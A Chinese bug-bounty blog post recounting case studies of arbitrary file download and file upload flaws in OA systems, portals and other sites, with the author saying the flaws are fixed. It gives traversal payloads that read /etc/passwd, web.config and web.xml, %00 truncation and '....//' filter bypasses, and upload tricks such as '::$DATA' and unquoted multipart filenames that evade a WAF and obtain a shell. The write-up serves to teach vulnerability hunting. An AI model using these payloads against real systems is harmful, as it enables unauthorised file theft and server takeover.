SRC挖洞之文件上传/下载漏洞的实战案例

前言

为了能在竞争激烈的 SRC 和漏洞平台里面薅到羊毛赚点外快,我在前面一篇文章 SRC众测挖洞之支付逻辑漏洞的奇淫技巧 讲述了支付业务逻辑漏洞的实战技巧,接下来将搜集、记录一些具体漏洞的实战案例,借此拓宽自己的挖洞思维、提升挖洞技巧。

严正声明】本文所述的所有漏洞案例,厂商均已成功修复,同时对应的关键信息均已打码!网络安全十八双刃剑,请各位读者遵纪守法,共同维护良好健康的网络环境!

任意文件下载

任意文件下载漏洞,基础的漏洞知识了解可以先看下我的另一篇博文:Web安全-任意文件下载漏洞,它基本上就是高危漏洞了……运气好几K的奖金就能到手了。

案例1 某OA系统任意文件下载

1、某 OA 系统正常下载图片的 URL 如下:

http://**.**.**.**/general/picture/batch_down.php?TmpFileNameStr=DSCN0292.jpg|@~@&SUB_DIR=&PIC_PATH=d:/myoa/%D4%B1%B9%A4%BB%EE%B6%AF

页面如下:
在这里插入图片描述正常下载图片:
在这里插入图片描述2、修改路径,下载 index.php 文件,Payload 如下:

http://**.**.**.**/general/picture/batch_down.php?TmpFileNameStr=index.php|@~@&SUB_DIR=&PIC_PATH=d:/myoa/webroot

成功下载文件:
在这里插入图片描述打开文件查看源码:
在这里插入图片描述

案例2 某登录页面任意文件下载

1、某单位门户网站的登录页面地址:http://**.**.**.**/Page/Login/UserLogin.aspx,如下图:
在这里插入图片描述2、里面有个需求商须知,根据经验猜到会有任意文件下载,就试了下,成功下载web.config配置文件:
在这里插入图片描述

案例3 某金融网站任意文件下载

1、访问某金融网站:
在这里插入图片描述

2、存在问题的功能点与测试的 Payload:

https://XXX.com.cn/webappservice/TP050102.do?FileName=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

可成功下载../../../../../../../../etc/passwd文件:
在这里插入图片描述

案例4 服务端过滤 …/ 绕过下载

1、某保险公司存在问题的功能点:
在这里插入图片描述下载的 URL 链接如下:
在这里插入图片描述2、构造 Payload:

http://www.XXX.com/product/benefitshow/suggest/downloadToHTML.jsp?Path=/..\downloadToHTML.jsp&titleDoc=1

可成功下载downloadToHTML.jsp文件,发现服务端过滤了../
在这里插入图片描述3、仅当路径中出现../的时候提示访问地址非法,所以可以用\来绕过,继续构造 Payload:

http://www.XXXX.com/product/benefitshow/suggest/downloadToHTML.jsp?Path=/..\/WEB-INF\/web.xml&titleDoc=1

可成功下载web.xml文件:
在这里插入图片描述

案例5 %00截断后下载任意文件

1、游览某站点时一个不起眼的图标的链接引起了我的注意:http://XXXX.com/static/img.php?s=15,15&n=icon-info.png ,如下图:
在这里插入图片描述

2、左后一个参数是一个文件,会不会存在任意文件下载呢?依次访问一下如下链接,均返回正常图片:

http://tiyan.baidu.com/static/img.php?s=15,15&n=/icon-info.png
http://tiyan.baidu.com/static/img.php?s=15,15&n=./icon-info.png
http://tiyan.baidu.com/static/img.php?s=15,15&n=../icon-info.png 

如下图所示:
在这里插入图片描述
3、当访问http://tiyan.baidu.com/static/img.php?s=15,15&n=....//icon-info.png 链接的时候,图片却不正常显示了:
在这里插入图片描述4、这里说明很有可能是将../给替换了,....// 替换../还是会返回上级目录,所以文件不存在。尝试访问 index.php 文件,构造如下 Payload(注意加上截断):

http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//index.php%00.png

成功下载并读取源码文件:
在这里插入图片描述

文件上传漏洞

文件上传漏洞,可拿 Shell,更为致命……基础知识和防护绕过手段可阅读我的另一博文进行了解:Web安全-文件上传漏洞与WAF绕过,下面讲述几个典型的 SRC 实战案例。

案例1 公众号个人头像上传漏洞

1、某房地产商的微信公众号:
在这里插入图片描述
2、访问个人中心上传头像:
在这里插入图片描述
3、存在任意文件上传:
在这里插入图片描述

案例2 编辑器上传文件类型绕过

1、在测试一个站的时候发现 ewebeditor 编辑器一枚:
在这里插入图片描述
2、发现有 WAF,文件扩展名 asp、aspx 之类的都会被拦截:
在这里插入图片描述3、构造异常数据包(只是多加了一个1),可绕过 WAF 并成功上传 asp 文件:
在这里插入图片描述

案例3 上传文件后缀重命名绕过

1、构造某航司的系统的本地文件上传测试页面:

<form action="http://pss.XXXX.com/enableq/Android/FileUpload.php?optionID=1" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <input type="hidden" name ="uploadFileName" value="uploadedfile_1" />
  <input type="file" name="uploadedfile_1" id="fileField" />
  <input type="submit" name="button" id="button" value="submit" />
</form>

如下图所示:
在这里插入图片描述2、直接上传 php 不行,试了一下如下 Payload:

Test.php:a.jpg   //被重命名为jpg
test.php.        //可以上传但是被重命名为jpg
test.php::$DATA  //成功上传php后缀文件

如下图所示:
在这里插入图片描述3、获得 Shell:
在这里插入图片描述

案例4 %00截断绕过白名单限制

1、某献血站的站点,http://**.**.**.**:9091/upload_file.asp?keyno=0&pic=0&tablename=visainfo,存在一个上传点:
在这里插入图片描述2、测试了一下只允许上传 txt 类型的文件,因为服务器用的 iis6.0 中间件,直接采用了 00 截断上传(也可以利用中间件的解析漏洞):
在这里插入图片描述
3、菜刀传过去始终连不上,因此选择了传的小马先:
在这里插入图片描述

案例5 绕过安全狗进行文件上传

1、还是看看数据流先:

network->iis->safedog->asp.dll

2、文件上传流是靠用户自己解析的,所以如果安全狗和asp.dll等扩展解析不一致就可以绕过了,如下肯定被拦截:

------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html

3、改为下面 Payload 就不会被拦截了:

------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename=a.asp
Content-Type: text/html

总结

任意文件下载漏洞、任意文件上传漏洞都是危害比较致命的漏洞,在渗透测试和漏洞挖掘过程中要胆大心细,不放过任何疑似的功能点,大胆构造绕过限制的畸形 Payload,往往能斩获意想不到的惊喜!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值